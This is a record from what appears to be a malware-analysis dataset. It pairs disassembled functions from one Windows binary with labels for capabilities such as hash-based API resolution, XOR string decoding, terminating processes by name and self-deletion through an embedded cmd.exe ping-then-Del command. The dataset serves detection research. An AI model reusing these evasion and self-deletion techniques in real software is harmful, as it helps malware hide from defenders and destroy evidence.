joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005ae70
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
mov r11, r8
mov rbx, r9
mov r8d, dword [r9 + 0x10]
mov r10, rdx
inc r8d
mov rax, r9
cmp qword [r9 + 0x18], 0x10
jb 0x14005ae93
mov rax, qword [r9]
mov dword [rsp + 0x28], r8d
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r11
mov rcx, r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbx + 0x18]
test eax, eax
jne 0x14005aef1
cmp rcx, 0x10
jb 0x14005aeed
lea rdx, [rcx + 1]
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14005aee8
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005af3f
mov rcx, r8
call fcn.1400b8b1c
mov al, 1
jmp 0x14005af26
cmp rcx, 0x10
jb 0x14005af24
lea rdx, [rcx + 1]
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14005af1f
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005af3f
mov rcx, r8
call fcn.1400b8b1c
xor al, al
mov byte [rbx], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx + 0x10], 0
add rsp, 0x30
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14005af50
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x1400e1700]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov r10, r9
mov rax, r8
mov rdi, rdx
mov qword [rsp + 0x58], rdx
xor ecx, ecx
mov dword [rsp + 0x50], ecx
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdx], cl
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x64], 1
mov dword [rsp + 0x60], 0x200
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x64]
xor r8d, r8d
mov rdx, r10
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14005b075
lea rax, [rsp + 0x70]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14005b000
mov rax, qword [rdi + 0x18]
cmp rbx, rax
ja 0x14005b038
mov rsi, rdi
cmp rax, 0x10
jb 0x14005b01e
mov rsi, qword [rdi]
mov qword [rdi + 0x10], rbx
mov r8, rbx
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.1400b9b2c
mov byte [rsi + rbx], 0
jmp 0x14005b048
lea r9, [rsp + 0x70]
mov rdx, rbx
mov rcx, rdi
call fcn.140007180
mov rax, rdi
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.1400b8870
mov rbx, qword [rsp + 0x2c0]
add rsp, 0x280
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
movdqa xmm1, xmmword [str.5__TWYP]
movdqu xmmword [rsp + 0x30], xmm1
mov cl, 0x47
mov dl, 0x50
mov r8b, 0x52
mov r9b, 0x5c
mov r11b, 0x46
mov bl, 0x41
movzx edi, cl
mov sil, 0x4c
mov r14b, reloc.WS2_32.dll_sendto
mov r15b, reloc.WS2_32.dll_setsockopt
mov r12b, reloc.WLDAP32.dll_Ordinal_22
mov r13b, 7
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm1
xor al, r10b
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], r10b
xor byte [rsp + 0x33], r10b
xor byte [rsp + 0x34], r10b
xor byte [rsp + 0x35], r10b
xor byte [rsp + 0x36], r10b
xor byte [rsp + 0x37], r10b
xor byte [rsp + 0x38], r10b
xor byte [rsp + 0x39], r10b
xor byte [rsp + 0x3a], r10b
xor byte [rsp + 0x3b], r10b
xor byte [rsp + 0x3c], r10b
xor byte [rsp + 0x3d], r10b
xor byte [rsp + 0x3e], r10b
xor byte [rsp + 0x3f], r10b
xor cl, r10b
mov byte [rsp + 0x40], cl
xor dl, r10b
mov byte [rsp + 0x41], dl
xor r8b, r10b
mov byte [rsp + 0x42], r8b
xor r9b, r10b
mov byte [rsp + 0x43], r9b
xor r11b, r10b
mov byte [rsp + 0x44], r11b
xor bl, r10b
mov byte [rsp + 0x45], bl
xor dil, r10b
mov byte [rsp + 0x46], dil
xor sil, r10b
mov byte [rsp + 0x47], sil
xor r14b, r10b
mov byte [rsp + 0x48], r14b
xor r15b, r10b
mov byte [rsp + 0x49], r15b
xor r12b, r10b
mov byte [rsp + 0x4a], r12b
xor r13b, r10b
mov byte [rsp + 0x4b], r13b
mov al, 4
xor al, r10b
mov byte [rsp + 0x4c], al
mov byte [rsp + 0x4d], 0
lea rdx, [rsp + 0x31]
call fcn.14005c900
call fcn.14005cf40
int3
Function at 0x14005c900
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push r12
sub rsp, 0x40
mov rax, qword [0x1401d5260]
mov r12, rdx
test rax, rax
jne 0x14005caec
mov rax, qword gs:[0x60]
xor r11d, r11d
mov qword [rsp + 0x58], rbp
mov r10d, 0x8e87b379
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x30], r15
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rsi, rbp
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
movups xmmword [rsp + 0x20], xmm0
sub ax, 8
test r11d, r11d
je 0x14005c9ad
mov rcx, qword [rsp + 0x28]
mov edx, 0x477d4696
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14005c9a4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14005c990
cmp edx, r11d
jne 0x14005caaf
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r9
cmp rbx, r9
je 0x14005caaf
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14005caaf
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x477d4696
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14005ca27
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14005ca10
cmp edx, r10d
je 0x14005ca33
test r8d, r8d
jne 0x14005c9f0
jmp 0x14005caaf
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
cmp rax, rbx
jbe 0x14005cac7
lea rcx, [r15 + rbx]
cmp rax, rcx
jae 0x14005cac7
movzx ecx, byte [rax]
mov r11d, 0x477d4696
mov r10d, r11d
cmp cl, 0x2e
je 0x14005ca88
nop dword [rax]
movsx ecx, cl
inc rax
xor ecx, r11d
imul r11d, ecx, 0x1000193
movzx ecx, byte [rax]
cmp cl, 0x2e
jne 0x14005ca70
movzx ecx, byte [rax + 1]
inc rax
test cl, cl
je 0x14005caab
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, r10d
imul r10d, ecx, 0x1000193
movzx ecx, byte [rax]
test cl, cl
jne 0x14005ca93
mov rsi, qword [rbp]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x14005cac5
cmp qword [rax + 0x30], 0
jne 0x14005c960
xor eax, eax
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov qword [0x1401d5260], rax
mov r9d, 0x1010
xor r8d, r8d
mov rdx, r12
xor ecx, ecx
add rsp, 0x40
pop r12
jmp rax
Function at 0x14005cc60
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x1400e1700]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rsi, rdx
xor edx, edx
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14005ccec
nop
mov rdx, rsi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x14005ccda
mov r8d, dword [rsp + 0x28]
lea ecx, [rax + 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14005cd1c
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14005ccb0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400b8870
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov edx, 9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14005ccf7

Function at 0x14005cd40
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x1400e1700]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor eax, eax
lea rdi, [rsp + 0x20]
mov rbx, rdx
mov ecx, 0x130
rep stosb byte [rdi], al
lea ecx, [rax + 2]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14005cdef
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14005cde6
mov rdx, rbx
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14005ce12
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14005cde6
mov rdx, rbx
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14005ce12
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14005cdc2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400b8870
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x14005cdf1
Function at 0x14005ce30
Capabilities:
Create process on windows
Self delete

Disassembly:
sub rsp, 0x418
mov rax, qword [0x1400e1700]
xor rax, rsp
mov qword [rsp + 0x400], rax
xorps xmm0, xmm0
lea rdx, [rsp + 0xe0]
xor eax, eax
mov r8d, 0x104
xor ecx, ecx
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r9, [rsp + 0xe0]
mov edx, 0x208
lea r8, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
lea rcx, [rsp + 0x1f0]
call fcn.140059390
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x1f0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x400]
xor rcx, rsp
call fcn.1400b8870
add rsp, 0x418
ret
Function at 0x140073cb0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
cmp byte [rcx + 0xaaf], 0
mov rbp, r9
mov r14, r8
movsxd rsi, edx
mov rdi, rcx
je 0x140073d7b
cmp qword [rcx + 0x260], 0
je 0x140073d2e
mov qword [rsp + 0x40], rbx
call fcn.140061c80
mov dl, 1
mov rcx, rdi
movzx ebx, al
call fcn.140061ff0
mov rcx, qword [rdi + 0x1d8]
mov r9, rbp
mov qword [rsp + 0x20], rcx
mov r8, r14
mov rcx, rdi
mov edx, esi
call qword [rdi + 0x260]
movzx edx, bl
mov rcx, rdi
call fcn.140061ff0
mov rbx, qword [rsp + 0x40]
jmp 0x140073d7b
mov ecx, esi
test edx, edx
je 0x140073d3e
sub ecx, 1
je 0x140073d3e
cmp ecx, 1
jne 0x140073d7b
mov r9, qword [rdi + 0x1d0]
lea rax, [0x1400bf740]
mov edx, 2
lea rcx, [rsi + rsi*2]
add rcx, rax
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x1d0]
mov r8d, 1
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x140075f00
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
cdqe
add rsp, 0x28
ret
Function at 0x140076200
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, rcx
xor ebp, ebp
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
jne 0x14007622a
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
lea rdx, str.LoadLibraryExA
mov qword [rsp + 0x48], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x1400cb434]
mov rcx, rbx
mov r14, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strpbrk]
test rax, rax
je 0x14007628e
mov rcx, rbx
test r14, r14
je 0x140076278
xor edx, edx
lea r8d, [rdx + 8]
call r14
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
test r14, r14
je 0x1400762c6
lea rdx, str.AddDllDirectory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400762c6
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
call r14
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
xor edx, edx
mov qword [rsp + 0x50], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov r15d, eax
test eax, eax
je 0x140076388
mov qword [rsp + 0x40], rsi
mov rsi, 0xffffffffffffffff
mov rdx, rsi
nop
inc rdx
cmp byte [rbx + rdx], bpl
jne 0x1400762f0
lea ecx, [rax + 1]
add rcx, rdx
call qword [section..data]
mov rdi, rax
test rax, rax
je 0x14007637a
mov edx, r15d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x14007637a
mov rax, rsi
cmp byte [rdi + rax + 1], bpl
lea rax, [rax + 1]
jne 0x140076320
mov ecx, 0x5c
mov word [rax + rdi], cx
inc rsi
cmp byte [rdi + rsi], bpl
jne 0x140076334
mov rcx, rdi
sub rcx, rbx
add rcx, rsi
nop word [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x140076350
mov rcx, rdi
test r14, r14
je 0x140076371
xor edx, edx
lea r8d, [rdx + 8]
call r14
jmp 0x140076377
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
mov rcx, rdi
call qword [fcn.1400b9b50]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
mov rax, rbp
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
Function at 0x1400763f0
Capabilities:
Get common file path
Initialize winsock library

Disassembly:
sub rsp, 0x1e8
mov rax, qword [0x1400e1700]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
test cl, 2
je 0x140076456
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140076439
movzx eax, word [rsp + 0x30]
cmp al, 2
jne 0x140076433
shr ax, 8
cmp al, 2
je 0x140076456
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1400b8870
add rsp, 0x1e8
ret
call fcn.1400aa350
test eax, eax
jne 0x14007666e
mov qword [rsp + 0x200], rsi
lea rcx, str.kernel32
mov qword [rsp + 0x208], rdi
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
jne 0x140076496
mov qword [0x1401d4a48], rsi
jmp 0x14007662b
mov qword [rsp + 0x1f0], rbx
lea rdx, str.LoadLibraryExA
mov rcx, rdi
mov qword [rsp + 0x1f8], rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rbx, str.iphlpapi.dll
mov rbp, rax
mov rcx, rbx
lea rdx, [0x1400cb434]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strpbrk]
test rax, rax
je 0x1400764fb
mov rcx, rbx
test rbp, rbp
je 0x1400764ed
xor edx, edx
lea r8d, [rdx + 8]
call rbp
mov rsi, rax
jmp 0x1400765ea
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
jmp 0x1400765ea
test rbp, rbp
je 0x14007652a
lea rdx, str.AddDllDirectory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14007652a
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
call rbp
mov rsi, rax
jmp 0x1400765ea
xor edx, edx
mov qword [rsp + 0x1e0], r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov r14d, eax
test eax, eax
je 0x1400765e2
lea ecx, [rax + 1]
add rcx, 0xc
call qword [section..data]
mov rdi, rax
test rax, rax
je 0x1400765d9
mov edx, r14d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1400765d9
mov rcx, 0xffffffffffffffff
mov rax, rcx
nop word [rax + rax]
cmp byte [rdi + rax + 1], sil
lea rax, [rax + 1]
jne 0x140076580
mov edx, 0x5c
mov word [rax + rdi], dx
inc rcx
cmp byte [rdi + rcx], sil
jne 0x140076594
mov rdx, rdi
sub rdx, rbx
add rdx, rcx
nop word [rax + rax]
movzx eax, byte [rbx]
mov byte [rdx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x1400765b0
mov rcx, rdi
test rbp, rbp
je 0x1400765d0
xor edx, edx
lea r8d, [rdx + 8]
call rbp
jmp 0x1400765d6
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov rcx, rdi
call qword [fcn.1400b9b50]
mov r14, qword [rsp + 0x1e0]
mov rbp, qword [rsp + 0x1f8]
mov rbx, qword [rsp + 0x1f0]
mov qword [0x1401d4a48], rsi
test rsi, rsi
je 0x14007662b
lea rdx, str.if_nametoindex
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1401d4a40]
test rax, rax
cmovne rcx, rax
mov qword [0x1401d4a40], rcx
xor edx, edx
mov dword [rsp + 0x20], 3
mov r9d, 2
xor r8d, r8d
lea ecx, [rdx + 6]
call fcn.1400a9f00
test al, al
lea rcx, [0x1401d52a0]
setne byte [0x1401d529c]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rdi, qword [rsp + 0x208]
xor eax, eax
mov rsi, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1400b8870
add rsp, 0x1e8
ret
Function at 0x140086e70
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rbx, rcx
movaps xmmword [rsp + 0x50], xmm6
lea rcx, [rsp + 0x30]
mov rdi, rdx
call fcn.140067940
mov rcx, rbx
movups xmm6, xmmword [rax]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov r8d, 1
mov rcx, rsi
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x140086f20
nop word [rax + rax]
lea rcx, [rsp + 0x40]
movdqa xmmword [rsp + 0x20], xmm6
call fcn.140067940
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
call fcn.1400679d0
cmp rax, 0x3e8
ja 0x140086f53
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 1
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
je 0x140086ed0
test rsi, rsi
je 0x140086f2e
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rbx, rbx
je 0x140086f3c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x60
pop rdi
ret
test rsi, rsi
je 0x140086f61
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rbx, rbx
je 0x140086f6f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 1
jmp 0x140086f3e
Function at 0x140087400
Capabilities:
Resolve dns

Disassembly:
push rdi
push r12
push r13
push r15
sub rsp, 0x28
mov r13, r9
xor edi, edi
mov qword [r9], rdi
xor r15d, r15d
lea r9, [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r12d, eax
test eax, eax
jne 0x14008759e
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rsi
mov rsi, qword [rsp + 0x68]
test rsi, rsi
je 0x14008757e
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x20], r14
nop
mov rax, qword [rsi + 0x18]
test rax, rax
je 0x14008746e
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140087460
inc rbx
jmp 0x140087470
xor ebx, ebx
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x14008747d
lea ebp, [rax + 0xe]
jmp 0x140087489
cmp eax, 0x17
jne 0x140087521
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], 0
je 0x140087521
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x140087521
cmp rax, rbp
jb 0x140087521
lea rcx, [rbp + 0x30]
add rcx, rbx
call qword [section..data]
mov r14, rax
test rax, rax
je 0x140087530
mov ecx, dword [rsi]
mov r8, rbp
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0xc], ecx
lea rcx, [r14 + 0x30]
mov dword [rax + 0x10], ebp
xor eax, eax
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x28], rax
mov qword [r14 + 0x20], rcx
mov rdx, qword [rsi + 0x20]
call sub.VCRUNTIME140.dll_memcpy
test rbx, rbx
je 0x14008750e
mov rcx, qword [r14 + 0x20]
mov r8, rbx
add rcx, rbp
mov qword [r14 + 0x18], rcx
mov rdx, qword [rsi + 0x18]
call sub.VCRUNTIME140.dll_memcpy
test rdi, rdi
cmove rdi, r14
test r15, r15
je 0x14008751e
mov qword [r15 + 0x28], r14
mov r15, r14
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x140087450
jmp 0x140087536
mov r12d, 8
mov rcx, qword [rsp + 0x68]
mov r14, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x58]
test rcx, rcx
je 0x140087550
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r12d, r12d
je 0x140087579
test rdi, rdi
je 0x140087575
nop word [rax + rax]
mov rbx, qword [rdi + 0x28]
mov rcx, rdi
call qword [fcn.1400b9b50]
mov rdi, rbx
test rbx, rbx
jne 0x140087560
xor edi, edi
jmp 0x14008758d
test rdi, rdi
jne 0x14008758d
mov r12d, 0x2af9
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rsi, qword [rsp + 0x60]
mov eax, r12d
mov rbx, qword [rsp + 0x50]
mov qword [r13], rdi
add rsp, 0x28
pop r15
pop r13
pop r12
pop rdi
ret

Function at 0x140087a00
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
test rax, rax
je 0x140087a37
cmp rax, 0xffffffffffffffff
cmovne rbx, rax
mov rax, rbx
add rsp, 0x30
pop rbx
ret
add rsp, 0x30
pop rbx
ret